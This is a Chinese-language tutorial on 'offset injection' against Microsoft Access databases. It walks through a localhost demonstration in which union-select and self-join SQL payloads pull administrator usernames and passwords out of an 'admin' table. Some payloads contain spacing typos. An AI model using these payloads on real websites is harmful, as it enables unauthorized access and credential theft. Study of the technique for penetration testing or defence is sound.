Access数据库偏移注入

前言

       本来想好好介绍一下Access数据库的偏移注入,找个目标来试试,但是找了好久都没有找到,又想自己要不在本地搭建一个?额。。。还是算了吧,没有太多的时间,之后在网上搜索了一些“偏移注入”看看其他人是否有写这个方面的资料,但是非常少,不过还是找到了几个,下面笔者就借用其他技术大佬的一些图片来介绍Access数据库的偏移注入,期间使用的图片不是笔者本人自己截图的,但是所有的思路以及渗透测试的流程是笔者自己对于Access数据库偏移注入的理解,此处只是做一个说明哈!希望大家学习思路!

认识偏移注入

偏移注入的原理:

借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示!

偏移注入的用途:

解决知道Access数据库中知道表名,但是得不到字段的sql注入困境。

偏移注入的特点:

A:成功与否看技巧与运气,不能保证100%成功。

B:无需管理员账号密码字段,直接爆账号密码

偏移注入的利用条件:

A:已知管理表名

B:已知任意字段(一个或多个会增加机率,最常见的就是id)

影响偏移注入成功率的因素

A:管理表的字段数越少越好(最好是三个:id  账号字段  密码字段)

B:当前注入点的脚本内查询的表内的字段数越多越好(最好有几十个,这样基本成功率是100%)

C:已知的字段数越多越好(id一般存在)

偏移注入的流程:

1、 判断字段数

2、 判断表名

3、 开始偏移注入

偏移注入的实例演示

注入点:

http://127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1137

注入点信息:

字段数:22

管理表名:admin

先直接联合查询爆显位

Access数据库偏移注入

3和15是显示位,但是跑不出字段,下面就可以开始偏移注入了。

流程如下

先判断管理表内存在的字段数,用到如下语句:

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

我们利用*代替admin表内存在的字段,由于是22个字段数,需要逐步测试,直到返回正常为止。

目前语句访问结果如图所示

Access数据库偏移注入

下面继续

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,*from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,,* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin

这样的话,应该很好理解了。我这里到了16的时候返回正常,如下所示:

Access数据库偏移注入

如上图可知,字段数列到16的时候,返回正常了,那么本来是22个字段。
*
=字段数(这里是22)-列出的字段数(这里是16)
所以*=22-16 

也就是说,admin表下有6个字段。 

【开始偏移注入】

语句如下;
union select 1,2,3,4,5,6,7,8,9,10,* from (adminas a inner join admin as b ona.id=b.id)

解释:
union //
联合查询语法,定义连后面的语句一起执行
select //
查询
1,2,3,4,5,6,7,8,9,10, //
这里理解为剩下的字段数就可以
from //
从哪里开始
(admin as a inner join admin as b on a.id=b.id) 

//这里是admin表自连接,admin为表名(前面得到的表名) id为字段(可修改,但必须存在)

【偏移注入的基本公式】

字段数=order by 出的字段数-*号的字段数x2

因为这里一共是22个字段,而*号代表的admin表字段占6个,6x2=12 22-12=10
这就是为什么字段数是10的原因。访问一下如图所示:

Access数据库偏移注入

这里爆出了admin表管理员创建日期,没有我们要的账号密码怎么办?

没关系,这里就要说到隐性显位了,主页面只有两个显位315 那我们我们可以在页面源代码看一下。如图5↓

Access数据库偏移注入

可以看到
1.
还有两个隐性显位,第一个是 9,第二个已经爆出了管理员密码
2.
下面的红框和页面信息一致,只是它有回显。

这时候已经得到了密码。还差账号了。偏移中办法很多。
思路:我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。
在字段后面插个a.id,b.id,,这里的ab可以理解为字段(a b个管理表存在的所有字段),id还是管理表内存在的字段名

那么语句如下;

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin asa inner join admin as b on a.id=b.id)
其实就在上面的语句基础上插了个a.id,b.id,

其实也可以这样来处理
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from(admin as a inner join admin as b on a.id=b.id)
只保留a.id, 也实现了打乱信息组合,并且执行效果一样
下面访问一下看看结果:

Access数据库偏移注入

成功打乱他的组合,同一个显位返回不同的信息了,254admin表内某个字段的内容。
我们看看网页源代码里的隐性显位爆出了什么,如下所示:

Access数据库偏移注入

这样就爆出了管理员账号。
经过两次的偏移,成功得到账号和密码。

在字段多的情况下,多级偏移会有意想不到的效果。
刚才只到了一级,第二级的话就是字段数再去掉admin表存在的字段数。

一级偏移语句
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,*from (admin as a inner join adminas b on a.id=b.id)

二级偏移语句
union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as bon a.id=b.id) 

inner join admin as c on a.id=c.id)

我把字段去掉了6个,增加了一个c.id 用来代替字段并且重新打乱组合。

重新访问一下看看如图

Access数据库偏移注入

可以看到,页面返回和前面没有任何变化。所以主要还是看隐性显位,如图

Access数据库偏移注入

在隐性显位一次爆出了管理账号和密码。

【拓展】
x.id    //id
可以修改为任意表内存在的字段名,而且会打乱重新回显

所以说管理表内存在的字段数越少越好、当前注入点脚本内查询的表内字段数越多越好、得到的字段数越多越好

偏移注入可以很大程度上解决猜不到字段的问题。